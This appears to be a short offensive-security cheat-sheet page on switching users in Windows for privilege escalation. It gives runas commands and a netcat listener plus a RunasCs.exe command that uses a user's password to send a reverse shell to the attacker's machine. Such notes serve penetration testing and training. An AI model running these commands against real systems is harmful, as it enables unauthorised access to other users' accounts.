Switch User on Windows

Last modified: 2024-04-01

Privilege Escalation Windows


runas /user:<username> cmd
runas /user:<domain>\<username> cmd


We can spawn another shell as another user with RunasCS.
First, start a listener on local machine.

nc -lvnp 4444

Then execute the following command on target machine.
Replace with your local IP and port.

RunasCs.exe <username> <password> cmd -r